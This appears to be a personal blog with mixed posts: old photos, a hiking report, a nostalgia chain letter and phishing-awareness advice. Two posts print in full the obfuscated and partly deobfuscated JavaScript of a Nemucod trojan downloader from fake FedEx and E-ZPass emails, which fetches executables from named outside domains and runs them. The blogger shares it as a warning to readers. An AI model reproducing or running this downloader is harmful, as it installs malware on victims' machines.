Artwork by Adams Carvalho
“I’m a really affectionate person once you get past my 5 layers of shyness, awkwardness, fear, vague dislike, and loneliness.”
―Unknown
Be Kind; Everyone You Meet is Fighting a Hard Battle.
-Ian McLaren
The Old Wolf has spoken.
Heat wave in New York. July 6, 1911. “Licking blocks of ice on a hot day.” 5×7 glass negative, George Grantham Bain Collection.
Found at Shorpy.
New York can get blistering hot when a heat wave rolls through. I experienced a number of days like this when I was growing up there. And I’m old enough to remember the ice man with his truck, and an electric crusher on the back so he could deliver chips as well as the blocks.
Our neighborhood didn’t get ice deliveries, those were mostly down in the village if I remember correctly. But I do recall that close to my home was a playground with one of these:
It was a great way to cool off on a hot summer day. I’m glad there are still water attractions around to help kids stay cool in the summer heat.
The Old Wolf has spoken.
Why would anyone in their right mind respond to a mail blast like this, especially when it’s in Chinese?
尊敬的客户： 您好！ 祝您业务更上一层楼。 我司十多年专为中小企业提供香港公司注册服务。在2014年在香港成立的公司有167279间，在2013年在香港成立的公司有174030间，在经济环境越不好的情况下，老板们更热衷研究并注册离岸公司。在香港成立公司是很简单的事情，两个星期多便可以注册完成，注册资本不需要验资，不需要到位，阁下也不需要到香港。在这些年，我们一直在埋头苦干，精心修炼，力争为您提供更专业的离岸注册服务。一直期待着您的联系。 希望！ 本邮件是我们合作的开始.
———
English via Google Translate:
Dear Customer: Hello! I wish your business to the next level. Our ten years designed to provide SMEs in Hong Kong Companies Registry services. The company was established in 2014 in Hong Kong, there are 167,279 in the company in 2013 in Hong Kong has 174,030, in the worse economic environment, the owners are more keen to study and register offshore companies. Set up a company in Hong Kong is a very simple matter, more will be able to register two weeks to complete, registered capital does not require verification, no place, you do not need to go to Hong Kong. During these years, we have been working hard, careful cultivation, strive to provide you with more professional offshore registration services. We have been looking forward to your contact.I hope! This message is the beginning of our cooperation.
Unless they’re targeting people in the mainland, this seems like a phenomenally inefficient way of doing business. On the other hand, it could just be a phishing scam looking for the dumbest of the dumb.
The amount of business that is being done in the world based on dishonesty and deception makes my head hurt.
The Old Wolf has spoken.
The image above shows two young girls purchasing a so-called “10,000-calorie sundae” from Blair Parson’s store in Lynchburg, Virginia, sometime in the 1950s. Price: 35¢.
Odds are that this was some marketing license; the average hot fudge sundae comes in at about 284 calories, and these don’t look like killers. But it’s a cute picture.
I wish I were a javascript programmer.
Here’s the code that came to me via email in a .zip file, under the malicious guise of a FedEx delivery label (it was packaged to look like the code you see in my previous post.)
var stroke=”5556515E0D0A020B240507050001091D0B0203160105100A0117174A070B09″;
function cwm() { return ‘e’; };
function xn() { return ‘val’; };
function dl(fr) { var b = “dickinsonwrestlingclub.com etqy.com soflectplit(” “); for (var i=0; i<b.length; i++) { var ws = new ActiveXObject(“WScript.Shell”); var fn = ws.ExpandEnvironmentStrings(“%TEMP%”)+String.fromCharCode(92)+Math.round(Math.random()*100000000)+”.exe”; var dn = 0; var xo = new ActiveXObject(“MSXML2.XMLHTTP”); xo.onreadystatechange = function() { if (xo.readyState == 4 && xo.status == 200) { var xa = new ActiveXObject(“ADODB.Stream”); xa.open(); xa.type = 1; xa.write(xo.ResponseBody); if (xa.size > 5000) { dn = 1; xa.position = 0; xa.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; }; try { xo.open(“GET”,”http://”+b%5Bi%5D+”/document.php?rnd=”+fr+”&id=”+stroke, false); xo.send(); } catch (er)) { return ‘.c {}; if (dn == 1) break; } }; dl(7) { return ‘om”.s971); dl(6202’; }; var xv = ”; ); dl(613);
for (var rlh=1; rlh<=225; rlh++) { xv += this[‘xn’+rlh](); } this[cwm()+xn()](xv);
The email:
|
Dear Customer,
We could not deliver your item.Please, download Delivery Label attached to this email.Yours faithfully,Seth Mcdowell,Operation Manager.FedEx_ID_00000732560.zip
Domain Name: DICKINSONWRESTLINGCLUB.COM
Registry Domain ID: 336832356_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.networksolutions.com
Registrar URL: http://networksolutions.com
Updated Date: 2015-01-29T00:13:33Z
Creation Date: 2006-02-06T15:11:04Z
Registrar Registration Expiration Date: 2017-02-06T05:00:00Z
Registrar: NETWORK SOLUTIONS, LLC.
Registrar IANA ID: 2
Registrar Abuse Contact Email: abuse@web.com
Registrar Abuse Contact Phone: +1.8003337680
Reseller:
Domain Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: PERFECT PRIVACY, LLC
Registrant Organization:
Registrant Street: 12808 Gran Bay Parkway West
Registrant City: Jacksonville
Registrant State/Province: FL
Registrant Postal Code: 32258
Registrant Country: US
Registrant Phone: +1.5707088780
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: h72bn4775k5@networksolutionsprivateregistration.com
Registry Admin ID:
Admin Name: PERFECT PRIVACY, LLC
Admin Organization:
Admin Street: 12808 Gran Bay Parkway West
Admin City: Jacksonville
Admin State/Province: FL
Admin Postal Code: 32258
Admin Country: US
Admin Phone: +1.5707088780
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: h72bn4775k5@networksolutionsprivateregistration.com
Registry Tech ID:
Tech Name: PERFECT PRIVACY, LLC
Tech Organization:
Tech Street: 12808 Gran Bay Parkway West
Tech City: Jacksonville
Tech State/Province: FL
Tech Postal Code: 32258
Tech Country: US
Tech Phone: +1.5707088780
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: h72bn4775k5@networksolutionsprivateregistration.com
Name Server: NS1.CTCTEL.COM
Name Server: NS2.CTCTEL.COM
DNSSEC: Unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
Domain Name: etqy.com
Registry Domain ID: 1527531270_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.srsplus.com
Registrar URL: http://srsplus.com
Updated Date: 2014-03-13T20:56:39Z
Creation Date: 2008-11-07T19:15:39Z
Registrar Registration Expiration Date: 2015-11-07T19:15:39Z
Registrar: TLDS LLC. d/b/a SRSPlus
Registrar IANA ID: 320
Registrar Abuse Contact Email: abuse@web.com
Registrar Abuse Contact Phone: +1.8773812449
Reseller:
Domain Status: clientTransferProhibited http://icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: Ferhat Yilmaz
Registrant Organization:
Registrant Street: Hasanpasa Mah. Fahrettin Kerim Gokay Cad. No:26 Kadikoy
Registrant City: Istanbul
Registrant State/Province: none
Registrant Postal Code: 34724
Registrant Country: TR
Registrant Phone: +90.90211
Registrant Phone Ext.:
Registrant Fax:
Registrant Fax Ext.:
Registrant Email: info@etqy.com
Registry Admin ID:
Admin Name: Ferhat Yilmaz
Admin Organization:
Admin Street: Hasanpasa Mah. Fahrettin Kerim Gokay Cad. No:26 Kadikoy
Admin City: Istanbul
Admin State/Province: none
Admin Postal Code: 34724
Admin Country: TR
Admin Phone: +90.90211
Admin Phone Ext.:
Admin Fax:
Admin Fax Ext.:
Admin Email: info@etqy.com
Registry Tech ID:
Tech Name: Ferhat Yilmaz
Tech Organization:
Tech Street: Hasanpasa Mah. Fahrettin Kerim Gokay Cad. No:26 Kadikoy
Tech City: Istanbul
Tech State/Province: none
Tech Postal Code: 34724
Tech Country: TR
Tech Phone: +90.90211
Tech Phone Ext.:
Tech Fax:
Tech Fax Ext.:
Tech Email: info@etqy.com
Name Server: ns51.1and1.com
Name Server: ns52.1and1.com
DNSSEC: Unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
The code goes out to these websites and downloads other files, and then runs them. What will happen to your computer next is anyone’s guess. That’s why I wish I knew javascript better, so I could determine exactly what was being downloaded and what it is supposed to do.
Whatever the case, stay away from attachments in your email.
The Old Wolf has spoken.
It’s been a while since I’ve been walking seriously – life just sort of got in the way – but on June 1 I started getting out in the mornings again and today I thought I’d head back up the hillside. The last time I got up so far was a few years back when I hiked up to Mollie’s Nipple, at 6237 feet; today I found the trail that leads up to the top of the Dry Mountain Ridge.
I made it to 6589 today, which is an improvement over last time – and I’m carrying a significant bit more extra weight than I was then, so I feel good about making it that far. It took me 3:44 to get up and back, for a total of 6 miles, with a 1729′ elevation gain. Suffice it to say I was dog tired when I got back down. I think I’ll wait until I’ve shed another 10 pounds or so before I give it another shot.
As you can see from the Google Earth shot above, I’ve got a long way to go even when I make the ridge; Dry Mountain tops 2.4 miles to the south of the ridge above where I was hiking, at an elevation of 9839 feet, so it’s going to be an all-day affair by the time I get up there and back. I’ll need more than one bottle of water for sure. I should have taken two today.
I would seriously not mind cheating if I could find a different access point from the other side. Time will tell.
Here are some photos I took along the way:
In the middle of the trail, struggling to survive, life finds a way. (Key for scale). Any 4-wheelers come barreling up the road, I’m afraid this little guy is toast. But so pretty and so fragile.
A view west over Santaquin, Utah.
A wildfire burned for two weeks on Dry Mountain in late August 2001. The “Mollie” fire consumed the vegetation on more than 8,000 acres. This is how low the fire came at this point on the mountain.
Looking up from the point where I ran out of steam. To quote a line from Gattaca, “I didn’t save anything for the way back.” I wish I could have made it to the top of that central ridge, but there was just nothing left.
A panorama taken from where I stopped.
Cleaned up after some inconsiderate pigs on the way down. Pick up your trash, Gatlan. At least I left the mountainside cleaner than I found it. like a good Scout should do. I only ever made it to 2nd Class, but the lessons remain.
All in all, it was a good morning. Still recuperating at 3:42 PM, but feeling a bit more human.
The Old Wolf has spoken.
My mother would have seen this gem during her visit to the World’s Fair in 1939.
Read about the PRR S1 at Wikipedia.
Mom at the World’s Fair.
The Trylon and Perisphere
League of Nations building
I got two emails yesterday, each with an attachment. Both are designed to get people to open whatever malware package they are carrying:
From: “District Court” <nathaniel.berger@realestate-philippines.net>
Notice to Appear,
This is to inform you to appear in the Court on the July 06 for your case hearing.Please, do not forget to bring all the documents related to the case.Note: The case will be heard by the judge in your absence if you do not come.The copy of Court Notice is attached to this email.Kind regards,Nathaniel Berger,Clerk of Court.Attached: 00000554562.zip
From: “E-ZPass Manager” <calvin.gleason@adescbrasil.com.br>
Notice to Appear,You have a unpaid bill for using toll road.Please, do not forget to service your debt.You can review the invoice in the attachment.Sincerely,Calvin Gleason,E-ZPass Agent.E-ZPass_0000133433.zip
Notice that the second email begins the same way: “Notice to appear,” even though it’s a notification of a supposed debt. These were clearly cut/pasted by the same person/group.
So let’s look at that attachment.
The E-Z Pass zip file contains a file called “E-ZPass_0000133433.doc.js.” This is a javascript file, and it was immediately quarantined by Microsoft Security Essentials and flagged as TrojanDownloader:JS/Nemucod.P. According to Microsoft, “This program displays deceptive program messages. It downloads and installs other programs onto your PC without your consent, including other malware.”
Clearly, you don’t want to mess with this on your machine. The body of the file looks like this:
var stroke=”5556515E0D0A020B240507050001091D0B0203160105100A0117174A070B09″;function igs118() { return ‘4 && ‘; }; function igs236() { return ‘);’; }; function igs101() { return ‘); x’; }; function igs193() { return ‘ x’; }; function igs232() { return ‘3862’; }; function igs3() { return ‘ dl’; }; function igs30() { return ‘i=’; }; function igs140() { return ‘a.ty’; }; function igs182() { return ‘} ‘; }; function igs74() { return ‘.rou’; }; function igs162() { return ‘1; x’; }; function igs23() { return ‘com”‘; }; function igs131() { return ‘ect(‘; }; function igs217() { return ‘ } c’; }; function igs228() { return ‘; dl(‘; }; function igs176() { return ‘{ ws’; }; function igs136() { return ‘”); x’; }; function igs141() { return ‘pe ‘; }; function igs97() { return ‘SXML2’; }; function igs192() { return ‘try {‘; }; function igs63() { return ‘(“‘; }; function igs50() { return ‘”);’; }; function igs229() { return ‘6001)’; }; function igs89() { return ‘ar x’; }; function igs66() { return ‘”)+’; }; function igs46() { return ‘WS’; }; function igs19() { return ‘ a’; }; function igs79() { return ‘m()*’; }; function igs186() { return ‘; };’; }; function igs28() { return ‘ (v’; }; function igs29() { return ‘ar ‘; }; function igs117() { return ‘e == ‘; }; function igs216() { return ‘nd();’; }; function igs185() { return ‘r) {}’; }; function igs113() { return ‘ (x’; }; function igs90() { return ‘o ‘; }; function igs72() { return ‘)+’; }; function igs70() { return ‘arCod’; }; function igs49() { return ‘ell’; }; function igs233() { return ‘); d’; }; function igs171() { return ‘ile(‘; }; function igs201() { return ‘]+”/d’; }; function igs166() { return ‘ 0; x’; }; var ci = ”; function igs127() { return ‘ new ‘; }; function igs40() { return ‘s =’; }; function igs219() { return ‘h ‘; }; function igs206() { return ‘nd=”+’; }; function igs61() { return ‘rin’; }; function igs22() { return ‘ge.’; }; function igs102() { return ‘o.o’; }; function igs138() { return ‘pen’; }; function igs14() { return ‘cl’; }; function igs111() { return ‘n()’; }; function igs10() { return ‘so’; }; function igs48() { return ‘.Sh’; }; function igs51() { return ‘ v’; }; function igs98() { return ‘.XMLH’; }; function igs167() { return ‘a.’; }; function igs17() { return ‘etqy’; }; function igs42() { return ‘Ac’; }; function igs194() { return ‘o.’; }; function igs129() { return ‘eX’; }; function igs137() { return ‘a.o’; }; function igs91() { return ‘= ‘; }; function igs144() { return ‘a.’; }; function igs159() { return ‘ { d’; }; function igs45() { return ‘t(“‘; }; function igs2() { return ‘ion’; }; function igs92() { return ‘new’; }; function igs18() { return ‘.com’; }; function igs106() { return ‘atec’; }; function igs8() { return ‘”dick’; }; function igs65() { return ‘P%’; }; function igs147() { return ‘e(xo’; }; function igs68() { return ‘g.f’; }; function igs75() { return ‘nd’; }; function igs24() { return ‘.spli’; }; function igs200() { return ‘”+b[i’; }; function igs47() { return ‘cript’; }; function igs227() { return ‘ } }’; }; function igs179() { return ‘n,’; }; function igs161() { return ‘= ‘; }; function igs187() { return ‘ xa’; }; function igs67() { return ‘Strin’; }; function igs34() { return ‘leng’; }; function igs27() { return ‘for’; }; function igs143() { return ‘; x’; }; function igs199() { return ‘tp://’; }; function igs35() { return ‘th; ‘; }; function igs177() { return ‘.R’; }; function igs39() { return ‘ w’; }; function igs4() { return ‘(fr’; }; function igs153() { return ‘f (‘; }; function igs189() { return ‘ose(‘; }; function igs115() { return ‘ead’; }; function igs33() { return ‘b.’; }; function igs1() { return ‘funct’; }; function igs146() { return ‘it’; }; function igs44() { return ‘Objec’; }; function igs145() { return ‘wr’; }; function igs38() { return ‘ var’; }; function igs11() { return ‘nw’; }; function igs108() { return ‘e ‘; }; function igs94() { return ‘ve’; }; function igs205() { return ‘p?r’; }; function igs169() { return ‘veT’; }; function igs174() { return ‘); tr’; }; function igs16() { return ‘om ‘; }; function igs105() { return ‘dyst’; }; function igs170() { return ‘oF’; }; function igs83() { return ‘)+”.e’; }; function igs230() { return ‘; d’; }; function igs78() { return ‘rando’; }; function igs149() { return ‘spo’; }; function igs21() { return ‘na’; }; function igs37() { return ‘+) {‘; }; function igs203() { return ‘ume’; }; function igs125() { return ‘ xa’; }; function igs76() { return ‘(Ma’; }; function igs41() { return ‘ new ‘; }; function igs188() { return ‘.cl’; }; function igs134() { return ‘.St’; }; function igs80() { return ‘10000’; }; function igs116() { return ‘yStat’; }; function igs150() { return ‘ns’; }; function igs135() { return ‘ream’; }; function igs114() { return ‘o.r’; }; function igs96() { return ‘ct(“M’; }; function zuw() { return ‘e’; }; function igs215() { return ‘.se’; }; function igs139() { return ‘(); x’; }; function igs62() { return ‘gs’; }; function igs130() { return ‘Obj’; }; function igs222() { return ‘; if ‘; }; function igs218() { return ‘atc’; }; function igs133() { return ‘ODB’; }; function igs207() { return ‘fr+”&’; }; function igs123() { return ‘200) ‘; }; function igs202() { return ‘oc’; }; function igs6() { return ‘var ‘; }; function igs152() { return ‘); i’; }; function igs198() { return ‘”,”ht’; }; function igs148() { return ‘.Re’; }; function igs221() { return ‘) {}’; }; function igs25() { return ‘t(” “‘; }; function igs234() { return ‘l(‘; }; function igs100() { return ‘P”‘; }; function igs209() { return ‘=”+s’; }; function igs165() { return ‘ion =’; }; function igs204() { return ‘nt.ph’; }; function igs104() { return ‘ea’; }; function igs55() { return ‘.Expa’; }; function igs112() { return ‘ { if’; }; function igs99() { return ‘TT’; }; function igs5() { return ‘) { ‘; }; function igs12() { return ‘res’; }; function igs178() { return ‘un(f’; }; function igs87() { return ‘ = ‘; }; function igs195() { return ‘op’; }; function igs85() { return ‘; v’; }; function igs214() { return ‘ xo’; }; function igs224() { return ‘ == 1’; }; function igs226() { return ‘reak;’; }; function igs223() { return ‘(dn’; }; function igs124() { return ‘{ var’; }; function igs196() { return ‘en(“G’; }; function igs95() { return ‘XObje’; }; function igs31() { return ‘0; ‘; }; function igs15() { return ‘ub.c’; }; function igs126() { return ‘ =’; }; function igs54() { return ‘ ws’; }; function igs73() { return ‘Math’; }; function igs82() { return ’00’; }; function igs231() { return ‘l(‘; }; function igs119() { return ‘xo.s’; }; function igs107() { return ‘hang’; }; function igs86() { return ‘ar dn’; }; function igs190() { return ‘); }’; }; function igs155() { return ‘.si’; }; function igs213() { return ‘e);’; }; function igs58() { return ‘onm’; }; function igs7() { return ‘b = ‘; }; function igs208() { return ‘id’; }; function igs120() { return ‘ta’; }; function igs121() { return ‘tu’; }; function igs88() { return ‘0; v’; }; function igs71() { return ‘e(92’; }; function igs84() { return ‘xe”‘; }; function igs36() { return ‘i+’; }; function igs122() { return ‘s == ‘; }; function igs109() { return ‘= fu’; }; function igs69() { return ‘romCh’; }; function igs56() { return ‘ndEnv’; }; function igs64() { return ‘%TEM’; }; function igs212() { return ‘als’; }; function igs110() { return ‘nctio’; }; function igs103() { return ‘nr’; }; function igs164() { return ‘posit’; }; function igs173() { return ‘,2’; }; function igs225() { return ‘) b’; }; function igs53() { return ‘fn =’; }; function igs157() { return ‘> 500’; }; function igs151() { return ‘eBody’; }; function igs175() { return ‘y ‘; }; function igs9() { return ‘in’; }; function igs13() { return ‘tling’; }; function igs154() { return ‘xa’; }; function igs32() { return ‘i<‘; }; function igs59() { return ‘ent’; }; function igs172() { return ‘fn’; }; function igs() { return ‘val’; }; function igs142() { return ‘= 1′; }; function igs81() { return ’00’; }; function igs180() { return ‘1,’; }; function igs57() { return ‘ir’; }; function igs43() { return ‘tiveX’; }; function igs60() { return ‘St’; }; function igs160() { return ‘n ‘; }; function igs191() { return ‘; }; ‘; }; function igs183() { return ‘catch’; }; function igs77() { return ‘th.’; }; function igs52() { return ‘ar ‘; }; function igs235() { return ‘8083’; }; function igs163() { return ‘a.’; }; function igs181() { return ‘0); ‘; }; function igs132() { return ‘”AD’; }; function igs156() { return ‘ze ‘; }; function igs197() { return ‘ET’; }; function igs128() { return ‘Activ’; }; function igs20() { return ‘volo’; }; function igs211() { return ‘, f’; }; function igs93() { return ‘ Acti’; }; function igs168() { return ‘sa’; }; function igs158() { return ‘0)’; }; function igs26() { return ‘); ‘; }; function igs210() { return ‘troke’; }; function igs184() { return ‘ (e’; }; function igs220() { return ‘(er’; }; for (var pn=1; pn<=236; pn++) { ci += this[‘igs’+pn](); } this[zuw()+igs()](ci);
The last statement in the program concatenates all these little scraps of code (listed out of order) into one large statement and then executes it:
var stroke=”5556515E0D0A020B240507050001091D0B0203160105100A0117174A070B09″;
{ return valfunction dl(fr) { var b = “dickinsonwrestlingclub.com etqy.com avolonage.com”.split(” “); for (var i=0; i<b.length; i++) { var ws = new ActiveXObject(“WScript.Shell”); var fn = ws.ExpandEnvironmentStrings(“%TEMP%”)+String.fromCharCode(92)+Math.round(Math.random()*100000000)+”.exe”; var dn = 0; var xo = new ActiveXObject(“MSXML2.XMLHTTP”); xo.onreadystatechange = function() { if (xo.readyState == 4 && xo.status == 200) { var xa = new ActiveXObject(“ADODB.Stream”); xa.open(); xa.type = 1; xa.write(xo.ResponseBody); if (xa.size > 5000) { dn = 1; xa.position = 0; x; }; var ci = ;
a.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; }; try { xo.open(“GET”,”http://”+b%5Bi%5D+”/document.php?rnd=”+fr+”&id=”+stroke, false); xo.send(); } catch (er) {}; if (dn == 1) break; } }; dl(6001); dl(3862); dl(8083);zuwe
for (var pn=1; pn<=236; pn++) { ci += this[‘igs’+pn](); } this[zuw()+igs()](ci);
Now I’m not a Javascript coder, but I can tell just by looking at it that this will access several compromised or outright malicious websites out there, and then download and run other files which are guaranteed to make your life miserable. At the least, you’ll get advertisements and popups. At worst, you will lose all your data in horrible ways or become part of a spamming network of zombie computers, or have your identity and your financial information stolen and used by criminals. None of these things are appealing.
To protect yourself, these two rules should be followed at all times:
There are others, but if everyone would follow these two basic common-sense procedures, the bad actors would have far less access to people’s machines and data.
Protect your loved ones, and be careful out there.
The Old Wolf has spoken.
I used to get all kinds of effluence in my inbox, mostly from people forwarding things to me that they could have debunked with a 5-second visit to Snopes.com, or telling me that Microsoft would pay 20¢ to some cancer fund for each forward (they won’t.) In the course of telling people that these kinds of viral messages were essentially destructive time-wasters, the deluge has dwindled to a trickle.
But every now and then I get something that I like, and which I feel is worth sharing. This is one of them.
I had to do some massive re-formatting of the text, removing countless exclamation points!!!! fixing grammar and punctuaton, and making it look less like some clickbait thing from BuzzFeed, but when you get down to the core ideas, they resonate with me. Without further ado (I’ve added some notes):
To those of us born 1925 – 1979, and to all the kids who survived the 1930s, 40s, 50s, 60s and 70s:
First, we survived being born to mothers who may have smoked and/or drank while they were pregnant. They took aspirin, ate blue cheese dressing, tuna from a can, and didn’t get tested for diabetes. 1
Then, after that trauma, we were put to sleep on our tummies in baby cribs covered with bright colored lead-based paints.
We had no childproof lids on medicine bottles, locks on doors or cabinets, and, when we rode our bikes, we had baseball caps, not helmets, on our heads.
As infants and children, we would ride in cars with no car seats, no booster seats, no seat belts, no air bags, bald tires and sometimes no brakes.
Riding in the back of a pick- up truck on a warm day was always a special treat.
We drank water from the garden hose and not from a bottle.
We shared one soft drink with four friends, from one bottle, and no one actually died from this.
We ate cupcakes, white bread, real butter, and bacon. We drank kool-aid made with real white sugar. And we weren’t overweight. Why? Because we were always outside playing. 2
We would leave home in the morning and play all day, as long as we were back when the streetlights came on. No one was able to reach us all day, and we were okay.
We would spend hours building our go-carts out of scraps and then ride them down the hill, only to find out we forgot the brakes. After running into the bushes a few times, we learned to solve the problem.
We did not have play stations, Nintendos and Xboxes. There were no video games, no 150 channels on cable, no video movies or DVDs, no surround-sound or CDs, no cell phones, no personal computers, no internet and no chat rooms. We had friends and we went outside and found them!
☛ We fell out of trees, got cut, broke bones and teeth, and there were no lawsuits from those accidents. 3
We played outside, in parks and on the streets, alone, and nobody accused our parents of neglect. 4
We would get spankings with wooden spoons, switches, ping-pong paddles, or just a bare hand, and no one would call child services to report abuse.
We ate worms, and mud pies made from dirt, and the worms did not live in us forever.
We were given B-B guns for our 10th birthdays, 22 rifles for our 12th, rode horses, made up games with sticks and tennis balls, and although we were told it would happen, we did not put out very many eyes.
We rode bikes or walked to a friend’s house and knocked on the door or rang the bell, or just walked in and talked to them.
Little league had tryouts and not everyone made the team. Those who didn’t had to learn to deal with disappointment. Imagine that.
Signs like this were not needed.
The idea of a parent bailing us out if we broke the law was unheard of. They actually sided with the law.
When we got bad grades, we were punished – not the teacher.
These generations have produced some of the best risk-takers, problem solvers, and inventors ever.
The past 50 to 85 years have seen an explosion of innovation and new ideas.
We had freedom, failure, success and responsibility, and we learned how to deal with it all.
If you are one of those born between 1925-1970, congratulations!
Naturally, these are not absolutes, but rather thoughts about how our society has changed. Sadly, despite all the amazing advances, not always for the better.
The Old Wolf has spoken.
Notes:
1) Yes, this and some of the other things mentioned above did cause accidents, health issues, and injuries. They still do. But strip away the lawyers and the nanny state, and most people would still survive.
2) There were some overweight kids. But they were the exception, rather than an ever-growing statistic.
3) This is my favorite one. I execrate the litigious nature of today’s society.
4) They even have a term for this nowadays: free-range parenting. This is abomination. Back then, it was just the way life was.
Great advice from a local business:
- Be suspicious of any email that requires “immediate action” or creates a sense of urgency. This is a common technique used by criminals to rush people into making a mistake.
- Be suspicious of emails addressed to “Dear Customer” or some other generic salutation. If it is your bank, they will know your name.
- Be suspicious of grammar or spelling mistakes; most businesses proofread their messages carefully before sending them.
- Do not click on links. Instead, copy the URL from the email and paste it into your browser. Even better is to simply type the destination name into your browser.
- Hover your mouse over the link. This will show you the true destination where you would go if you actually clicked on it. If the true destination of the link is different than what is shown in the email, this may be an indication of fraud.
- Be suspicious of attachments, and only open those that you are expecting.
- Just because you got an email from your friend does not mean they sent it. Your friend’s computer may have been infected or their account may have been compromised, and malware is sending the email to all of your friend’s contacts.
- If you get a suspicious email from a trusted friend or colleague, call them to confirm that they sent it. Always use a telephone number that you already know or can independently verify, not one that was included in the message.
I’ve mentioned most of these in various other posts, but this was an excellent summary that deserved to be shared. Be careful out there.
The Old Wolf has spoken.
Playing in the World Game 